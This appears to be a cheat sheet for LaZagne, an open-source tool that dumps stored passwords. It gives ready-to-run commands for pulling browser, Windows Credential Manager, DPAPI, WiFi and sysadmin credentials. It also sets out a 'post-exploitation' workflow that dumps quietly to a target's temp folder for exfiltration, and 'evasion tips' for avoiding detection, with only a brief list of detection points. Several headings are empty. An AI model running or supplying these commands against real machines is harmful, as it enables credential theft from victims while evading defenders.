LaZagne

LaZagne is an open-source application used to retrieve passwords stored on a local computer. It supports multiple platforms (Windows, Linux, macOS) and can extract credentials from a wide variety of software including browsers, email clients, databases, sysadmin tools, and Windows Credential Manager.

Key Capabilities

• Multi-Platform: Works on Windows, Linux, and macOS
• Browser Credentials: Chrome, Firefox, Edge, Opera, IE, and more
• Windows Credentials: Credential Manager, DPAPI-protected secrets
• Application Passwords: Email clients, databases, FTP clients, WiFi, etc.
• Memory Extraction: Some modules extract from process memory

Installation

Windows

# Download standalone executable
https://github.com/AlessandroZ/LaZagne/releases

# Or run from Python
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
python laZagne.py all

Linux/macOS

git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip3 install -r requirements.txt
python3 laZagne.py all

Basic Usage

Extract All Credentials

# Windows
laZagne.exe all

# Linux/macOS
python3 laZagne.py all

Quiet Mode (Passwords Only)

laZagne.exe all -quiet

Write Output to File

laZagne.exe all -oN          # Normal text output
laZagne.exe all -oJ          # JSON output
laZagne.exe all -oA          # All formats

Modules

List Available Modules

laZagne.exe -h

Module Categories

Run Specific Module Category

laZagne.exe browsers
laZagne.exe windows
laZagne.exe sysadmin
laZagne.exe wifi

Windows Credential Manager Extraction

Extract Credential Manager Secrets

laZagne.exe windows

Windows Module Components

Run Specific Windows Module

laZagne.exe windows -m credman
laZagne.exe windows -m vault
laZagne.exe windows -m dpapi

Browser Credential Extraction

All Browsers

laZagne.exe browsers

Supported Browsers

Run Specific Browser Module

laZagne.exe browsers -m chrome
laZagne.exe browsers -m firefox

Advanced Options

Use Specific User Profile

laZagne.exe all -user <username>

Specify Password for DPAPI Decryption

laZagne.exe all -password <user_password>

Extract from Offline Hives

# Requires SAM, SECURITY, SYSTEM hives
laZagne.exe all -local -sam SAM -security SECURITY -system SYSTEM

Verbose Output

laZagne.exe all -v
laZagne.exe all -vv   # Extra verbose

Output Formats

Normal Text Output

laZagne.exe all -oN
# Creates: results/credentials.txt

JSON Output

laZagne.exe all -oJ
# Creates: results/credentials.json

All Formats

laZagne.exe all -oA
# Creates both text and JSON files

Specify Output Directory

laZagne.exe all -oN -output /path/to/output/

Example Output

Credential Manager Output

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! MUSIC AGAIN !                           |
|                                                                    |
|====================================================================|

------------------- Credman passwords -----------------

[+] Password found !!!
URL: Domain:interactive=SRV01\mcharles
Login: SRV01\mcharles
Password: P@ssw0rd123!

[+] Password found !!!
URL: https://github.com
Login: admin@company.com
Password: github_token_123

[+] 2 passwords have been found.

Linux-Specific Modules

Run Linux-Specific

python3 laZagne.py all
python3 laZagne.py sysadmin
python3 laZagne.py memory

Common Workflows

Workflow 1: Quick Credential Dump

# Dump all credentials quietly
laZagne.exe all -quiet

# Save to JSON for parsing
laZagne.exe all -oJ -quiet

Workflow 2: Targeted Windows Credential Manager

# Extract Credential Manager and Vault
laZagne.exe windows -m credman
laZagne.exe windows -m vault

# With user password for DPAPI
laZagne.exe windows -password 'UserPassword123'

Workflow 3: Post-Exploitation Script

# On Windows target
laZagne.exe all -oJ -output C:\Temp\ -quiet

# Exfiltrate results
type C:\Temp\credentials.json

Comparison with Other Tools

Evasion and Detection

Detection Points

• Process creation of LaZagne binary
• Access to browser profile directories
• DPAPI calls
• Access to Credential Manager stores

Evasion Tips

• Compile from source with modifications
• Use Python script instead of binary
• Run individual modules to reduce footprint
• Use -quiet flag to minimize console output

Related Tools

Core Takeaways

• LaZagne extracts credentials from many sources Mimikatz doesn’t cover (browsers, applications)
• Works cross-platform (Windows, Linux, macOS)
• Use -quiet and -oJ for clean, parseable output
• Windows module specifically targets Credential Manager and DPAPI
• Lower detection rate for application credentials vs LSASS-based tools
• Combine with Mimikatz/pypykatz for comprehensive credential extraction